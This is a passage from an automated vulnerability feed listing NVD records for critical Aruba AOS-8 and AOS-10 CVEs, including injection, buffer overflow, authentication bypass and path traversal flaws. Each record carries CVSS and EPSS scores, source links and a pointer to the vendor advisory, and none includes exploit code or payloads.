NVD CVE-2026-79852: https://nvd.nist.gov/vuln/detail/CVE-2026-79852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79852&date=2026-10-25
A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the...
https://kevwire.com/record/CVE-2026-79853
Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the... (Oct 22, 2026).
Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the affected system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79853).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79853&date=2026-10-25).
Sources:
NVD CVE-2026-79853: https://nvd.nist.gov/vuln/detail/CVE-2026-79853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79853&date=2026-10-25
Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the affected system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance.
https://kevwire.com/record/CVE-2026-79854
A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance. (Oct 22, 2026).
A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79854).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79854&date=2026-10-25).
Sources:
NVD CVE-2026-79854: https://nvd.nist.gov/vuln/detail/CVE-2026-79854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79854&date=2026-10-25
A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79855
An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls. (Oct 22, 2026).
An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation allows an attacker to gain administrative privileges leading to complete compromise of the AOS-8 host.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79855).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79855&date=2026-10-25).
Sources:
NVD CVE-2026-79855: https://nvd.nist.gov/vuln/detail/CVE-2026-79855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79855&date=2026-10-25
An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation allows an attacker to gain administrative privileges leading to complete compromise of the AOS-8 host.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls.
https://kevwire.com/record/CVE-2026-79856
A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls. (Oct 22, 2026).
A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79856).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79856&date=2026-10-25).
Sources:
NVD CVE-2026-79856: https://nvd.nist.gov/vuln/detail/CVE-2026-79856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79856&date=2026-10-25
A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by...
https://kevwire.com/record/CVE-2026-79857
There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by... (Oct 22, 2026).
There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets to the affected UDP port. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79857).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79857&date=2026-10-25).
Sources:
NVD CVE-2026-79857: https://nvd.nist.gov/vuln/detail/CVE-2026-79857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79857&date=2026-10-25
There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets to the affected UDP port. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8.
https://kevwire.com/record/CVE-2026-79858
An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. (Oct 22, 2026).
An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to obtain and modify sensitive information in the underlying database and to interrupt the normal operation of the affected service.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79858).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79858&date=2026-10-25).
Sources:
NVD CVE-2026-79858: https://nvd.nist.gov/vuln/detail/CVE-2026-79858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79858&date=2026-10-25
An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to obtain and modify sensitive information in the underlying database and to interrupt the normal operation of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution.
https://kevwire.com/record/CVE-2026-79859
Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution. (Oct 22, 2026).
Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79859).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79859&date=2026-10-25).
Sources:
NVD CVE-2026-79859: https://nvd.nist.gov/vuln/detail/CVE-2026-79859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79859&date=2026-10-25
Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to...
https://kevwire.com/record/CVE-2026-79860
Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to... (Oct 22, 2026).
Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79860).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79860&date=2026-10-25).
Sources:
NVD CVE-2026-79860: https://nvd.nist.gov/vuln/detail/CVE-2026-79860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79860&date=2026-10-25
Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets.
https://kevwire.com/record/CVE-2026-79861
There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. (Oct 22, 2026).
There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79861).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79861&date=2026-10-25).
Sources:
NVD CVE-2026-79861: https://nvd.nist.gov/vuln/detail/CVE-2026-79861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79861&date=2026-10-25
There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially...
https://kevwire.com/record/CVE-2026-79862
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially... (Oct 22, 2026).
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79862).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79862&date=2026-10-25).
Sources:
NVD CVE-2026-79862: https://nvd.nist.gov/vuln/detail/CVE-2026-79862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79862&date=2026-10-25
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially...
https://kevwire.com/record/CVE-2026-79863
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially... (Oct 22, 2026).
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79863).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79863&date=2026-10-25).
Sources:
NVD CVE-2026-79863: https://nvd.nist.gov/vuln/detail/CVE-2026-79863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79863&date=2026-10-25
Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection.
https://kevwire.com/record/CVE-2026-79864
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection. (Oct 22, 2026).
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79864).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79864&date=2026-10-25).
Sources:
NVD CVE-2026-79864: https://nvd.nist.gov/vuln/detail/CVE-2026-79864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79864&date=2026-10-25
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution.
https://kevwire.com/record/CVE-2026-79865
A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution. (Oct 22, 2026).
A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79865).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79865&date=2026-10-25).
Sources:
NVD CVE-2026-79865: https://nvd.nist.gov/vuln/detail/CVE-2026-79865
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79865&date=2026-10-25
A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8.
https://kevwire.com/record/CVE-2026-79866
An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8. (Oct 22, 2026).
An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation of this vulnerability could allow an unauthenticated adjacent attacker to read, modify, and delete files on the underlying operating system.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79866).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79866&date=2026-10-25).
Sources:
NVD CVE-2026-79866: https://nvd.nist.gov/vuln/detail/CVE-2026-79866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79866&date=2026-10-25
An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation of this vulnerability could allow an unauthenticated adjacent attacker to read, modify, and delete files on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run...
https://kevwire.com/record/CVE-2026-79867
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run... (Oct 22, 2026).
Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79867).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79867&date=2026-10-25).
Sources:
NVD CVE-2026-79867: https://nvd.nist.gov/vuln/detail/CVE-2026-79867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
